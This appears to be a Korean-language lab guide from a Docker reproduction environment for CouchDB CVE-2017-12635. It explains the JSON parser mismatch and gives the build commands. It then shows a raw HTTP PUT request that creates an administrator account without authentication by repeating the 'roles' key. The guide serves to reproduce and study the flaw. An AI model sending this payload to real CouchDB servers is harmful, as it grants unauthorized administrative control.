
Docker 기반 재현 환경으로, Apache CouchDB CVE-2017-12635의 JSON 파서 불일치를 통한 수직 권한 상승을 재현하며, 인증 없이 관리자 계정을 생성할 수 있게 합니다.
Apache CouchDB는 사용 편의성과 "웹을 완전히 수용하는 데이터베이스"가 되는 데 중점을 둔 오픈소스 데이터베이스입니다. JSON을 저장 형식으로, JavaScript를 쿼리 언어로, MapReduce와 HTTP를 API로 사용하는 NoSQL 데이터베이스입니다. BBC는 동적 콘텐츠 표시 플랫폼에, Credit Suisse는 내부 상품 부문의 마켓 프레임워크에, Meebo는 소셜 플랫폼(웹 및 애플리케이션)에 사용하는 등 폭넓게 사용됩니다.
2017년 11월 15일에 CVE-2017-12635와 CVE-2017-12636이 공개되었습니다. CVE-2017-12635는 Erlang과 JavaScript의 JSON 파싱 방식 차이로 인해 구문 실행에 차이가 발생하여 생긴 취약점입니다. 이 취약점은 임의의 사용자가 관리자를 생성할 수 있게 하며, 수직 권한 우회 취약점에 해당합니다.
영향을 받는 버전: 1.7.0 미만 및 2.1.1 미만
참고 링크:
환경 컴파일 및 시작:
docker-compose build
docker-compose up -d
환경이 시작된 후 http://your-ip:5984/_utils/에 접속하면 웹 페이지를 볼 수 있으며, CouchDB가 성공적으로 시작되었음을 알 수 있습니다. 하지만 비밀번호를 모르기 때문에 로그인할 수 없습니다.
먼저, 다음과 같은 데이터 패킷을 전송합니다:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
403 오류가 반환되는 것을 확인할 수 있습니다: {"error":"forbidden","reason":"Only _admin may set roles"}. 오직 관리자만 Role 역할을 설정할 수 있습니다:
roles가 두 개 포함된 데이터 패킷을 전송하면 제한을 우회할 수 있습니다:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
관리자 생성에 성공했습니다. 계정과 비밀번호는 모두 vulhub입니다:

http://your-ip:5984/_utils/에 다시 접속하여 계정과 비밀번호 vulhub를 입력하면 성공적으로 로그인할 수 있습니다:
